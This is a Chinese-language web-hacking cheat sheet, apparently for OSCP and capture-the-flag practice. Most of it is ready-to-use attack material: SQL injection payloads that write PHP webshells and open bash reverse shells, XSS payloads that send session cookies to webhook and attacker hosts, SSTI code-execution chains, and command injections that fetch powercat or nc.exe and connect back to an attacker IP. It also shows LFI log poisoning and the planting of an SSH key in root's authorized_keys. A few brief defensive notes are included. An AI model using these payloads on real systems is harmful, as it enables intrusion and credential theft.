Web Cheat Sheet
解題重點
robots.txt- 掃 port: nmap:
$ sudo apt install net-toolsNMAP 教學- nmap:
$ nmap <url>
- nmap:
- 封包 headers 和 contents: Wireshark、Browser、BurpSuite
- cookies
Enum directory/dns
-
DNS Enumeration (OSCP 常考): 標準記錄列舉:查 A、AAAA、MX、NS、SOA、TXT 等記錄
DNS Enumeration (OSCP 常考): 標準記錄列舉:查 A、AAAA、MX、…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$ dnsrecon -d <domain> -t std # std 代表 standard type scan $ dnsenum <domain> $ whois -h <whois server> <domain name> # -h 是指定要問哪台 WHOIS server。不加的話會去查公開的 WHOIS server,結果可能會不一樣 # nslookup 就是手動查 DNS 記錄的工具,你給它域名,它回你 IP,反過來也行。 $ nslookup megacorpone.com # 查 A 記錄(域名→IP) $ nslookup 149.56.244.87 # 反查(IP→域名) $ nslookup -type=MX megacorpone.com # 指定查 MX 記錄 $ nslookup -type=TXT megacorpone.com # 查 TXT 記錄 # Zone Transfer $ dnsrecon -d <domain> -t axfr $ dig axfr @<ns> <domain> # e.g. dig axfr megacorpone.com @ns1.megacorpone.com # 子網域暴力破解 $ dnsrecon -d <domain> -t brt -D wordlist.txt -
ffuf
1
2
3$ ffuf -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -w /snap/seclists/1214/Discovery/DNS/subdomains-top1million-20000.txt -k -fs <filter size> # for subdomain $ ffuf -u https://mcp.kobold.htb/FUZZ -w /snap/seclists/1214//Discovery/Web-Content/common.txt -k # for directory $ ffuf -u http://192.168.198.48/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.txt # 會著重在特定的檔案類型
Information Leak
.DS_Store- lijiejie/ds_store_expgitleak- denny0223/scrabble: 確認有無https://<victim url>/.git/config1
2
3$ chmod +x scrabble $ ./scrabble <url> [directory] $ ./scrabble http://example.com/my-project.git/
Injection
SQLi
SQL 基本操作
- MySQL
1
2
3
4
5
6
7$ mysql -u root -p'root' -h <SQL server IP> -P 3306 # 連線 select version(); # 查版本 select system_user(); # 查當前使用者 show databases; # 列資料庫 use <database_name>; # 使用某個資料庫 show tables; SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec'; # 查密碼 -
MSSQL
MSSQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$ impacket-mssqlclient <username>:<password>@<MSSQL IP> -windows-auth # 連線 SELECT @@version; # 查版本(同時揭露 Windows Server 版本) SELECT SYSTEM_USER; # 查看當前使用者 SELECT name FROM sys.databases; # 列資料庫 use <database_name>; SELECT * FROM <database_name>.information_schema.tables; # 查表 SELECT * FROM <database_name>.dbo.<table_name>; # 查資料(注意需加 dbo schema) # 拿 shell: 前提是 xp_cmdshell 有啟用,設想情境是 ## 1. 拿到 MSSQL Cred. 之後 ## 2. 進入 MSSQL 修改 show advanced options 啟用 xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
SQLi
- 先確認哪裡是注入點,例如 GET 參數或是在 Burp 看哪裡有 POST
- Union-Based: 有兩個前提
- 欄位數量要一致
- 每一個欄位的 data type 都要和前一個 database 一樣
每一個欄位的 data type 都要和前一個 database 一樣
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29' ORDER BY 1-- - ' ORDER BY 5-- - # 利用數字判斷 columns 數量有多少,如果使用 5 出現 error 就代表該數量的欄位不存在,那就代表 column 數量只有 4 個 ' UNION SELECT NULL,NULL,NULL,NULL-- - # 利用此方式找出每一個欄位的 data type ,如果出錯就把該欄位換成其他的,之後再一個一個換成 str 或 num ' UNION SELECT 1,2,3,4,5-- - ' UNION SELECT user(),version(),database(),4,5-- - ' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- - ' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns WHERE table_name='users'-- - ' UNION SELECT username,password,3,4,5 FROM users-- - -- 插入 webshell (MySQL+PHP) -- 1. MySQL 使用者有 FILE 權限(能讀寫檔案) -- 2. MySQL 的 `secure_file_priv` 沒有限制寫入路徑(或設為空) -- 3. 目標路徑(/var/www/html/tmp/)MySQL 進程有**寫入**權限 -- 4. 該檔案不能已存在(INTO OUTFILE 不會覆蓋) ' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3,4,5 INTO OUTFILE '/var/www/html/tmp/shell.php'-- - ' UNION SELECT 1,LOAD_FILE('/etc/shadow'),3,4,5-- - # 讀敏感資訊 -- 開 reverse shell '; DROP TABLE cmd; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'bash -c \"bash -i >%26 /dev/tcp/<你的IP>/4444 0>%261\"';-- - ## 如果是其使用其他系統 -- Linux INTO OUTFILE '/var/www/html/tmp/shell.php' -- Windows XAMPP INTO OUTFILE 'C:/xampp/htdocs/tmp/shell.php' -- Windows IIS + PHP INTO OUTFILE 'C:/inetpub/wwwroot/shell.php' -
Error-Based
1
2
3' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))-- - ' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)-- - ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -因為 SQL 語句的上下文不同。參數的值很可能是被用在 INSERT 語句裡,不是 SELECT ,所以用前面的可能不會成功
因為 SQL 語句的上下文不同。參數的值很可能是被用在 INSERT 語句裡,不是 SELE…
1
2
3
4
5
6
7
8
9
10
11# 撈資料庫名 ' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1)-- - # # 撈表名 ' AND GTID_SUBSET(CONCAT(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)-- - # 撈欄位名 ' AND GTID_SUBSET(CONCAT(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e),1)-- - # 撈帳密 ' AND GTID_SUBSET(CONCAT(0x7e,(SELECT group_concat(username,0x3a,password) FROM users),0x7e),1)-- - - Boolean-Based
1
2
3
4
5
6
7' AND 1=1-- - -- 真,頁面正常 ' AND 1=2-- - -- 假,頁面不同 ' AND SUBSTRING(database(),1,1)='a'-- - ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='e'-- - ' AND (SELECT LENGTH(database()))=5-- - ' AND ASCII(SUBSTRING(database(),1,1))>100-- - -- 用二分法加速 ' AND ASCII(SUBSTRING(database(),1,1))<120-- - - Time-Based
1
2
3
4
5' AND SLEEP(5)-- - -- 確認能注入 ' AND IF(1=1, SLEEP(5), 0)-- - ' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- - ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100, SLEEP(5), 0)-- - ' AND (SELECT 8220 FROM (SELECT(SLEEP(5)))uvWb)-- - - 認證繞過
1
2
3
4
5' OR 1=1-- - ' OR '1'='1 admin'-- - ' OR 1=1 LIMIT 1-- - ' OR 1=1# -
MSSQL 專用(OSCP 常見)
1
2
3
4
5
6' UNION SELECT 1,2,3-- - '; EXEC xp_cmdshell('whoami')-- - -- RCE! '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- - -- 啟用 xp_cmdshell -- stacked query (MSSQL專用) '; WAITFOR DELAY '0:0:5'-- - PostgreSQL
1
2' UNION SELECT NULL,NULL,NULL-- - -- 用 NULL 避免型別問題 '; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'id';-- -
如何使用 SQLMAP
- Day 4 很像走迷宮的 sqlmap
-
SQLmap 基本使用 ← 解釋的非常好
1
2$ sudo apt install sqlmap $ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="<cookie key>=<cookie value>"-
基本必須參數(快速)
基本必須參數(快速)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# 只需確認是否可注入,並只顯示 payload 技術與後端技術 $ sqlmap -u "URL" # 獲取資料庫 $ sqlmap -u "URL" --dbs # 獲取資料庫所有 table $ sqlmap -u "URL" -D database --tables # 獲取指定 table 之欄位 $ sqlmap -u "URL" -D database -T table --columns # 獲取指定 table 之指定欄位資料 $ sqlmap -u "URL" -D database -T table -C field1,field2 --dump # 獲取指定 table 之所有欄位資料(就不要-C而已) $ sqlmap -u "URL" -D database -T table --dump # 不指定table,直接獲取該指定DB所有資料 $ sqlmap -u "URL" -D database --dump-all # 萬用 reverse shell $ sqlmap -u <IP> --os-shell --batch --forms -
常用參數
常用參數
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71# 讀檔案(前提) ## * MySQL 使用者需要有 FILE 權限 ## * secure_file_priv 沒有限制(設為空或包含目標路徑) ## * 寫入的話,目標目錄需要有寫入權限 (很重要) ## * 寫入的檔案不能已存在 --file-read=/var/www/html/index.php # 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF --random-agent # POST data 也可注入json,看網站怎送請求,--data "{'a':1,'b':2}" 或者 --data '{"a":1,"b":2}' --data "a=1&b=2" # 使用情境通常發生在,某些登入後的頁面才有注入點,不加cookie就存取不到該網站,當然也有些網站即使沒登入,但是沒cookie一樣存取不到 --cookie "SESSION_ID=xxx;abc=xxx;" # 使用情境通常是不加的話,可能會被後端或者防火牆攔截等等,如果在header中已經指定User-Agent,就別加--random-agent參數 --header "User-Agent: Mozilla/5.0 (Windows NT ..." # 指定注入參數 -p par1,par2 # 跳過注入參數 --skip par1,par2 # 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ # boolean error union stacked time inline-queries --technique BEQU # 指定 union select 的 column 列數,可以手動 fuzzing 出來指定 --union-cols 5 # 指定使用union技術時,每個欄位的值是多少 # 例如,假設已知cols為5,且union select 1,2,3,4,5,2跟5可回顯資料 # 如果我想指定注入2的位置,可以這樣下 # --union-values "1,*,3,4,5" --union-values "1,*,3,4,5" # 指定payload前綴 --prefix "'" # 指定payload後綴 --suffix "-- a" # 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3,手動可注入但SQLmap找不到時,可以設6協助debug),使用情境通常發生在fuzzing時的注入 -v 3 # 指定後端資料庫類型,中間有空格要使用雙引號,如:"Microsoft Access" --dbms mysql # 自動模式,自動選取默認預設選項 --batch # 跳過防火牆檢測測試 --skip-waf # 設定SQLmap注入檢測風險技術,等級1~3,預設1 # ps. 原本僅使用AND,會變成OR也使用,在某些注入的情境可能會洗到資料庫資料,因此請謹慎使用 --risk N # 設定SQLmap注入檢測層級,預設 1,每個層級的說明如下,有關各個level做了什麼,可以去看原文章 --level N # 讓SQLmap自己爬網頁上的注入點 --forms # 有時候因為TLS/SSL問題會導致sqlmap連不到(但是瀏覽器又可以正常存取),直接使用此命令即可 --force-ssl # 強制重新打 request,如果打同一個 command ,sqlmap 會直接拿 cache 的資料 --flush-session
-
XXE - Payload Cheat Sheet
1 | |
- 如何預防:
- 使用安全配置的 XML parser(如 Java 的 XMLInputFactory 關閉 DTD 與 external entities),因為 xxe 的攻擊前提在於開啟了不必要的兩個 feature,讓 attacker 可以構造出一組讀取自創的 DTD 或是外部 entity,達成 LFI(算是?)
- 避免不必要的功能開啟
- 做好輸入驗證和最小權限策略
XSS - CheatSheet
1 | |
-
利用 XSS 把 session 打到 webhook 上
1
2
3window.location=<requestbin.com>/?a+document.cookie // or fetch("https://webhook.site/699a6563-c9b5-4ad7-adaa-e189c5f78194", { method: 'GET', headers: { 'Cookie': document.cookie } })這個還有其他場景要注意,假設 victim 通不到外網也沒有 python 開 server,那就用 powershell
1
2
3> $listener = [System.Net.HttpListener]::new(); > $listener.Prefixes.Add("http://127.0.0.1:8000/"); # 如果綁 `0.0.0.0`(需提權)→ `$listener.Prefixes.Add("http://+:8000/");` 這樣的話,內網中的其他 Victim 使用 XSS 腳本才會打到目前這一台主機 > $listener.Start(); Write-Host "[*] Listening on port 8000..."; while ($true) { $ctx = $listener.GetContext(); $req = $ctx.Request; Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $($req.HttpMethod) $($req.Url)" -ForegroundColor Green; Write-Host " Cookie: $($req.Headers['Cookie'])" -ForegroundColor Yellow; $resp = $ctx.Response; $resp.StatusCode = 200; $body = [Text.Encoding]::UTF8.GetBytes("ok"); $resp.OutputStream.Write($body, 0, $body.Length); $resp.Close() }然後如果 payload 不能有 URL encode,可以寫
/當作路徑的一部分1
2
3
4
5
6fetch( "http://<內網中我們開 PS 腳本的 IP>:8000/" + document.domain + "/" + Date.now(), );以下有幾個好用的 Payload
以下有幾個好用的 Payload
1
2
3
4
5
6
7
8
9
10
11# 簡單測試用 <a href="javascript:alert(1)">test</a> </svgonclick=alert(1)> <img src="x" onerror="alert(1)"> # 想要打到 Webhook ,可以值記看 Network 有沒有真的 request ,有時候會因為 http{s} 的原因而沒有送出 <math><mtext><table><mglyph><style><!--</style><img src=x onerror=fetch('http://172.21.112.129:8000/123/'+document.domain+'/'+Date.now())> <math><mtext><table><mglyph><style><!--</style><img src=x onerror=fetch(`https://172.21.112.129:8443/${document.domain}/${document.cookie}`)> # 用 document.location 跳轉(跳轉不受 mixed content 限制) <math><mtext><table><mglyph><style><!--</style><img src=x onerror=document.location=`http://172.21.112.129:8000/?d=${document.domain}&c=${document.cookie}`>
SSTI - Payload Cheat Sheet
- 先確認是不是真的有這個問題:
{{7*7}}→ 49 - 用tplmap直接打
1
2$ ./tplmap.py --engine Jinja2 --os-shell -u "http://rescued-float.picoctf.net:56957/announce" -X POST -d "content=bob" $ ./tplmap.py --engine pug --os-shell -u "http://h4ck3r.quest:8008/?name=bob" - Python(Flask): Jinja2
- Node.js(Express): PUG / EJS
-
SSTI Payload: 記得找os._wrap_close
1
2
3
4
5
6{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('id')}} {{self.__init__.__globals__.__builtins__.__import__("os").popen("cat%20Flag.txt").read()}} {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", "./flag.txt")}} {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']("cat /flag.txt")}} {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", file.lower())}} {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['spawnl']('P_WAIT', "/bin/cat", "cat", file.lower())}}: 如果
.,|,_,[],|join這幾個字元是黑名單,可以嘗試用 hex1
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
Command Injection
找到注入點之後可以用以下 payload 判斷對方使用的是哪一個 shell
- 如果是 CMD: 會輸出
CMD1
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell - 如果是 Powershell 則會輸出
Powershell1
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell - 實際範例
1
$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive - 上傳 webshell 的 Payload
-
Powershell:
1
$ powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://KALI_IP/powercat.ps1');powercat -c KALI_IP -p 4444 -e cmd"步驟:
1
2$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 . $ python -m http.server 801
$ nc -nvlp 44441
$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F<攻擊者IP>%2Fpowercat.ps1%22)%3Bpowercat%20-c%20<攻擊者IP>%20-p%204444%20-e%20powershell' http://<受害者IP>/archive -
CMD: 這個方法不見得有用,因為可能我們
1
2
3
4
5
6
7# 第一次: 下載到一個指定地址 # certutil -urlcache -split -f http://<攻擊者IP>/nc.exe C:\Windows\Temp\nc.exe $ curl -X POST --data 'Archive=git%3Bcertutil%20-urlcache%20-split%20-f%20http%3A%2F%2F<攻擊者IP>%2Fnc.exe%20C%3A%5CWindows%5CTemp%5Cnc.exe' http://<受害者IP>/archive # 第二次: 實際執行 # C:\Windows\Temp\nc.exe -e cmd.exe <攻擊者IP> 4444 $ curl -X POST --data 'Archive=git%3BC%3A%5CWindows%5CTemp%5Cnc.exe%20-e%20cmd.exe%20<攻擊者IP>%204444' http://<受害者IP>/archive
-
LFI
- 前提: 在 PHP 中需要特別啟用
allow_url_include - 只是能讀取到 victim server 上的 file content,不見得會有價值,需要搭配其他手法,例如
- 寫入 webshell 之類的達到 RCE
- 利用 PHP 的偽協議達到讀特殊檔案的需求: 有時候,我們從前端頁面看到的內容是已經被 php 執行完的結果,就算查看該頁面的原始碼,也看不到當初 php 寫的東西,這時候就可以利用 php wrapper 讀到最原始的 content,PHP Wrapper 是有 LFI 弱點才能用
利用 PHP 的偽協議達到讀特殊檔案的需求: 有時候,我們從前端頁面看到的內容是已經被 ph…
1
2
3
4
5
6
7
8
9
10$ http://victim.io/?page=php://filter/convert.base64-encode/resource=<file path> php://filter/convert.base64-encode/resource=<file path> # 把 LFI 指定的檔案轉換成 base64 encode ,用絕對/相對路徑讀資料都可以 php://filter/resource=<file path> # 測試有無 LFI 弱點 data://text/plain,<?php%20echo%20system('ls');?> # 嘗試將一個以 URL 編碼的小型 PHP 片段嵌入網頁應用程式的程式碼 data://text/plain;base64,<base64 encode str>&cmd=ls # 如果 WAF 會擋前面提到的 payload ,那就可以做簡單的編碼,讓後端還是可以實際執行 $ echo -n '<?php echo system($_GET["cmd"]);?>' | base64 PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg== $ curl "http://mountaindesserts.local/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"以下展示,可以看到原本沒有使用 base64 convert 讀到的 admin.php 只顯示最基本的資訊,但透過 PHP wrapper 可以讀到更多,包含後端帳密
以下展示,可以看到原本沒有使用 base64 convert 讀到的 admin.php 只…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18kali@kali:~$ curl http://mountaindesserts.local/meteor/index.php?page=php://filter/resource=admin.php ... The admin page is currently under maintenance. kali@kali:~$ curl http://mountaindesserts.local/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php ... PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn... dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K ... kali@kali:~$ echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d ... <?php $servername = "localhost"; $username = "root"; $password = "M00nK4keCard!2#"; // Create connection $conn = new mysqli($servername, $username, $password); ...
利用 LFI 拿 reverse shell
-
PHP filter + base64(確認能讀檔)
1
2
3
4
5
6# 先在 User-Agent 注入 PHP: $ curl "http://mountaindesserts.local/meteor/index.php?page=php://filter/convert.base64-encode/resource=index" # 然後包含 access log: $ curl "http://mountaindesserts.local/meteor/index.php?page=../../../../../var/log/apache2/access.log" # linux 限定 $ curl "http://mountaindesserts.local/meteor/index.php?page=C:/xampp/apache/logs/access.log" # windows 限定 -
Log poisoning(較常見於 OSCP)
1
2
3
4$ curl -A "<?php system(\$_GET['cmd']); ?>" http://mountaindesserts.local/meteor/index.php # 然後包含 access log: $ curl "http://mountaindesserts.local/meteor/index.php?page=../../../../../var/log/apache2/access.log&cmd=whoami" -
php://input 或 data:// wrapper
1
$ curl -X POST "http://mountaindesserts.local/meteor/index.php?page=php://input" -d "<?php system('id'); ?>"
確認 RCE 後,送 reverse shell
1 | |
透過 RCE 執行:
1 | |
RFI
和 LFI 的差別就是, RFI 弱點是可以讀到外部的 file,所以我們可以嘗試在 local 端建一個 http server,讓 victim server 連自己的 http server 拿到 webshell 並且實際執行指令
1 | |
已知 victim server 有 RFI 弱點,就可以讓他連自己的 IP 拿 webshell
1 | |
Deserialization
要能夠達成 insecure 的反序列化,最重要的兩個前提是
- 反序列化的資料可控
-
針對各個語言反序列化時或之後會觸發哪些 magic method
- 可以搭配 command injection
- php 可以搭配
phar - POP Chain: 幾乎每個語言都會有類似的問題存在,最常出現在 PHP 反序列化漏洞(PHP Object Injection) 裡。把一堆「本來正常的 class 功能」串起來,變成可以執行惡意行為的一條攻擊鏈。
- PHPGGC: PHP Generic Gadget Chains: 可以直接看對應的 PHP 框架有沒有對應的 payload 達到 RCE
- ysoserial: 紀錄 JAVA 版本的 POP chain gadgets
- ysoserial.net
語言/序列化/反序列化/Magic Method 對照表
| 語言 | 序列化 | 反序列化 | Magic Method | |
|---|---|---|---|---|
| Python | pickle.dumps() | pickle.loads() | __reduce |
|
| PHP | serialize | unserialize | __destruct(): Object 被銷毀或 garbage collection 會觸發__wakeup(): unserialize 時自動觸發__call(): 如果被呼叫一個不存在的方法就會嘗試呼叫,$obj->note_exist();__toString(): 在被當成 String 處理時呼叫,echo $obj; |
|
| Java | toStringreadObjectfinalize |
|||
| .NET | ViewState & Session 會存放序列化資料 |
Frontend
攻擊者沒有直接攻擊受害者,而是把惡意程式植入到受害者會瀏覽的網頁,當受害者瀏覽該網頁時,就會自動執行惡意程式,並把受害主機的一些資料送回給駭客,可能是利用beeceptor這樣的外部 server(這是其中一種受害方式,也可能很直接的被盜取COOKIE之類的)
SSRF
create 一個偽造的 payload 和一個對外的中間 server 溝通,並讓這個中間 server 因為我的偽造 payload 而同意讓我和更裡面的內網 server 溝通,這樣我就打到 inner server,如果有 preview card 這樣的網站要特別注意有沒有 SSRF 的問題
-
利用 gopher 協議建一個偽造 payload
-
如何預防:
- 限制可訪問的 URL / IP 範圍(使用 whitelist)
- 避免解析內部 IP → 防止攻擊者透過 URL 指向內網或 localhost (127.0.0.1) 服務。
- 使用安全的 HTTP client → 設定 timeout、最大連線數、禁用不必要的協議(FTP、file://、gopher:// 等)。
- 對特殊情境使用代理 / sandbox
CSRF(Cross-Site Request Frogery)
- [Day25]- 新手的 Web 系列 CSRF
- 使用者登入網站
- 使用者透過身份驗證在本機形成 cookie
- 使用者點擊含有惡意程式的連結,或是直接連結了第三方網站,並瀏覽了帶有以下 html 程式碼的網頁:
<img src=http://www.***.com/transfer.php?id=5&money=22> - 惡意程式碼利用使用者的身份發請求,即執行 CSRF
- 使用者的帳號少錢錢勒 QQ

常見的 CSRF 方法
- HTML 標籤
<img>標籤屬性1
<img src="惡意連結" />以 GET 方式請求第三方網站,瀏覽器會帶上使用者的 cookie 發出 GET 請求
<script>標籤屬性1
`<script src="惡意連結">`;<iframe>標籤屬性1
`<iframe src="惡意連結">`</iframe>
也就是他和 XSS 的其中一個目的有點像,那就是偷到使用者的 cookie/session,只是方式不同,一個是利用 javascript 的 injection,一個則是利用釣魚或其他的方式迫使使用者點開惡意網站,並且冒用使用者的身份對原本使用者正在使用的網站進行各種 request,如果該網站沒有對 user 進行額外的身份驗證,那們光靠 user cookie/session 就有機會達成轉帳、發文之類的操作
如何預防 CSRF
-
CSRF Token: 這是最簡單的方式,既然 attacker 可以透過惡意網站得到 victim 的 cookie,那我就額外在 server side 多一個驗證 token 的步驟,而該 token 無論如何都不會被 attacker 利用惡意網站得知,就可以確保目前的 request 是不是本人,而為什麼 CSRF token 無法被 attacker 得知呢?核心原因在於 Same-Origin Policy (SOP)。這是瀏覽器的安全機制,規定:
JavaScript 或網頁只能讀取同一來源(protocol + domain + port)的資源,不能跨域讀取其他網站的內容。
所以,attacker 的惡意網站並不會得知 user 在 a.com 這個網域的 token,應該說原本就是這樣設計的,所以除非 attacker現場看到受害者的 browser content,才能得知 CSRF Token
-
SameSite Cookie
就是設定 cookie
Set-Cookie: sessionid=abc123; SameSite=Strict
SameSite 的效果是跨網站 request 不會帶 cookie,那麼同樣的就算 victim 點開 malicious website,也一樣不會被對方讀取到 cookie
-
敏感操作使用 POST
前面的 payload 範例有提到很多都是透過 GET qeury 進行惡意操作,那麼我們只要把敏感操作都利用 POST 的方式處理,就可以大大降低 CSRF 發生的情況
Upload
- 如果沒有任何保護: 直接 upload webshell.php(
<?php system($_GET["sh"]); ?>)達到 RCE - 改 Extension: 如果有保護但只看 extension : 那就偽造 extension 後夾帶 webshell 達到 RCE (
webshell.png.php) - 改 Content-Typebypass:
IMAGETYPE(加入合法的 File Signature) + bypass file type(修改封包 header) - 雙重副檔名:
shell.jsp.jpg(若 server 解析第一個副檔名)或shell.jpg.jsp - 如果只能插入在 Image 中,通常會插在 IEND 後面,如果 response 的 Content-Type 不是
image/png而是text/html,他會執行後面的 webshell payload
利用 Upload + Directory Traversal 上傳 ssh pub key
- 最大的前提是: web server 是以 root 這種高權限運行,在使用自帶 web server 的程式語言(如 Go、Node.js、Python)中很常見,因為開發者或管理員為了省事,直接用 root 啟動應用來避免權限問題。相比之下,傳統的 web server 如 Apache 或 Nginx 通常以低權限使用者(如 www-data)運行,IIS 則用 Network Service 或 Application Pool Identity。這些帳號無法寫入 /root/ 目錄,所以同樣的攻擊就不會成功
- 先確認上傳的漏洞,使用
../或是%2e%2e/或....//可以成功,代表後端沒有驗證,確認有 path traversal - 產自己的 ssh key
1
2
3$ ssh-keygen -t rsa $ cat ~/.ssh/id_rsa.pub ssh-rsa AAAAB3Nza... -
在已知有 upload 功能並且有 path traversal 漏洞的情況下,上傳自己的 ssh rsa public key ,在封包中修改
在已知有 upload 功能並且有 path traversal 漏洞的情況下,上傳自己的…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20POST /upload HTTP/1.1 Host: 192.168.232.16:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=----geckoformboundary29e1e2328f421e5f75d7ef823f471fd Content-Length: 820 Origin: http://192.168.232.16:8000 Connection: keep-alive Referer: http://192.168.232.16:8000/ Upgrade-Insecure-Requests: 1 Priority: u=0, i ------geckoformboundary29e1e2328f421e5f75d7ef823f471fd Content-Disposition: form-data; name="myFile"; filename="../../../../../root/.ssh/authorized_keys" Content-Type: application/octet-stream ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDINaM83V9eNyN3e+ZQ2de5qNxWNQ9LHR9+Ki9aNRwX7sm9yWR8xg03FdPIo/Cqn47WV8D+EXMAKmaVU2bw9XbdYqLYT7L3iEO8IJ5w8p+iyBDX+HNUHaF5fTfYJ4eqbfXQhdTo3igceXjjGZwBBaAP0QAISmyH016eA0Duwk4Sny26rG+XSObA0QUupgYc+5J/ZHUq83Q9qlw0gh3N3egZxwoYgekjxX6ddLWkwbKIFhBmUqxfoRi0FWxcSwQlkuMpI7hEqBhXFojdFRmp0mcy1qNupQybXoA57S3G/sW4kyCEQS0ELaWVWokPBNS+02sPoXzXgtWKZhKYMGVBJRY21oIs6ANAT89ivBwer8WqwP+9vlVR3O1AIlSs9KZeqP7yjXHm1I0r4qesa6tHWKHozQCFdEGHvO2o+u/farz7d44bIdO6Hk9NHv9XR/7sqmaLNYQl3FdqyNAQRFB5XnIN4ASiLhgXpHKWcmW+QDZvbZi8+mnd4bMuXTKShxhD5m8= kali@kali 